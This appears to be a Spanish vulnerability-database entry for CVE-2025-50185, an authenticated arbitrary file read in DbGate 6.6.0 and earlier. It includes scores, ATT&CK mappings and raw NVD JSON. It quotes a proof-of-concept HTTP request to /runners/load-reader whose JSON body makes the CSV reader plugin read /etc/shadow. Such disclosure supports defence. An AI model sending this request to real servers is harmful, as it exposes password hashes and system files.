CVE-2025-50185

Estado: AplazadaAlta (7)—

DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue.

``` POST /runners/load-reader HTTP/1.1 Host: <REPLACE ME> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: <REPLACE ME> Content-Type: application/json Authorization: Bearer <REPLACE ME> Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie: <REPLACE ME> Priority: u=0 Cache-Control: max-age=0

Leer descripción completaMostrar menos

```

The request payload: ![Screenshot From 2025-05-31 22-54-49](https://github.com/user-attachments/assets/28943ad7-14f8-432a-9836-cec5c3593c0a)

Lines of the file being returned: ![Screenshot From 2025-05-31 22-55-23](https://github.com/user-attachments/assets/4fae4652-097d-4d39-9f7a-6ce39346ed1d)

Detalles técnicos trazas, registros y código del informe original

{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\/shadow","limitRows":100}}

CVSS

Versión: 4.0
Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Puntuación base: 7

Probabilidad de explotación (EPSS)

Probabilidad de explotación en los próximos 30 días: 0.41%
Percentil entre todas las CVEs puntuadas: 33
Fecha de la puntuación: 5/10/2026

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

🎯 Técnicas ATT&CK

Cómo se explota esta vulnerabilidad y qué consigue el atacante, en el lenguaje de MITRE ATT&CK.

ExplotaciónT1210 Exploitation of Remote Serviceslateral movement85 %
Impacto principalT1005 Data from Local Systemcollection90 %
Impacto secundarioT1552.001 Credentials In Filescredential access75 %

DbGate permite lectura de archivos arbitrarios (T1005) incluyendo /etc/shadow (T1552.001) tras autenticación remota (PR:L, AV:N). CVSS HIGH y CWE-29 confirman path traversal. Requiere acceso autenticado a servicio remoto (T1210).

Inferido por nuestro agente de análisis a partir de la descripción oficial, el vector CVSS y la CWE, y comprobado por un supervisor. Puede contener errores.

🛡️ Mitigaciones ATT&CK que cubren estas técnicas

Vulnerability Scanning User Training Threat Intelligence Program Restrict File and Directory Permissions Privileged Account Management Password Policies

Tecnologías afectadas (1)

⚠ Inferidas por IA a partir de la descripción — NVD aún no ha analizado esta CVE; no son CPE verificados.

Dbgate — Dbgate^AI

CWE

CWE-29

Referencias

JSON original (NVD)

Mostrar

{
  "id": "CVE-2025-50185",
  "cveTags": [],
  "metrics": {
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-50185",
          "role": "CISA Coordinator",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "version": "2.0.3",
          "timestamp": "2025-07-28T15:27:58.994623Z"
        }
      }
    ],
    "cvssMetricV40": [
      {
        "type": "Secondary",
        "source": "security-advisories@github.com",
        "cvssData": {
          "Safety": "NOT_DEFINED",
          "version": "4.0",
          "Recovery": "NOT_DEFINED",
          "baseScore": 7,
          "Automatable": "NOT_DEFINED",
          "attackVector": "NETWORK",
          "baseSeverity": "HIGH",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "providerUrgency": "NOT_DEFINED",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "privilegesRequired": "LOW",
          "subIntegrityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "vulnAvailabilityImpact": "NONE",
          "availabilityRequirement": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "subConfidentialityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "vulnerabilityResponseEffort": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED"
        }
      }
    ]
  },
  "affected": [
    {
      "source": "security-advisories@github.com",
      "affectedData": [
        {
          "vendor": "dbgate",
          "product": "dbgate",
          "versions": [
            {
              "status": "affected",
              "version": "<= 6.6.0"
            }
          ]
        }
      ]
    }
  ],
  "published": "2025-07-26T04:16:04.207",
  "references": [
    {
      "url": "https://github.com/dbgate/dbgate/blob/v6.6.0/plugins/dbgate-plugin-csv/src/backend/reader.js#L71-L102",
      "source": "security-advisories@github.com"
    },
    {
      "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9",
      "source": "security-advisories@github.com"
    },
    {
      "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9",
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"
    }
  ],
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "type": "Secondary",
      "source": "security-advisories@github.com",
      "description": [
        {
          "lang": "en",
          "value": "CWE-29"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue.\n\n\n\n\n\n\n```\nPOST /runners/load-reader HTTP/1.1\nHost: <REPLACE ME>\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: <REPLACE ME>\nContent-Type: application/json\nAuthorization: Bearer <REPLACE ME>\nContent-Length: 127\nOrigin: http://192.168.124.119:3000\nConnection: keep-alive\nCookie: <REPLACE ME>\nPriority: u=0\nCache-Control: max-age=0\n\n{\"functionName\":\"reader@dbgate-plugin-csv\",\"props\":{\"fileName\":\"/etc\\/shadow\",\"limitRows\":100}}\n\n```\n\n\n\nThe request payload:\n![Screenshot From 2025-05-31 22-54-49](https://github.com/user-attachments/assets/28943ad7-14f8-432a-9836-cec5c3593c0a)\n\n\nLines of the file being returned:\n![Screenshot From 2025-05-31 22-55-23](https://github.com/user-attachments/assets/4fae4652-097d-4d39-9f7a-6ce39346ed1d)"
    },
    {
      "lang": "es",
      "value": "DbGate es un gestor de bases de datos multiplataforma. En las versiones 6.6.0 y anteriores, DbGate permite el acceso no autorizado a archivos debido a una validación insuficiente de las rutas y los tipos de archivo. Un usuario con acceso a nivel de aplicación puede recuperar datos de archivos arbitrarios en el sistema, independientemente de su ubicación o tipo de archivo. El complemento no realiza las comprobaciones adecuadas del tipo de contenido y la extensión del archivo antes de leerlo. Como resultado, incluso archivos confidenciales accesibles solo para el usuario root pueden leerse a través de la interfaz de la aplicación. Actualmente no hay solución para este problema.``` POST /runners/load-reader HTTP/1.1 Host:  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer:  Content-Type: application/json Authorization: Bearer  Content-Length: 127 Origin: http://192.168.124.119:3000 Connection: keep-alive Cookie:  Priority: u=0 Cache-Control: max-age=0 {\"functionName\":\"reader@dbgate-plugin-csv\",\"props\":{\"fileName\":\"/etc\\/shadow\",\"limitRows\":100}} ``` The request payload: ![Screenshot From 2025-05-31 22-54-49](https://github.com/user-attachments/assets/28943ad7-14f8-432a-9836-cec5c3593c0a) Lines of the file being returned: ![Screenshot From 2025-05-31 22-55-23](https://github.com/user-attachments/assets/4fae4652-097d-4d39-9f7a-6ce39346ed1d)"
    }
  ],
  "lastModified": "2026-06-17T09:34:49.297",
  "sourceIdentifier": "security-advisories@github.com"
}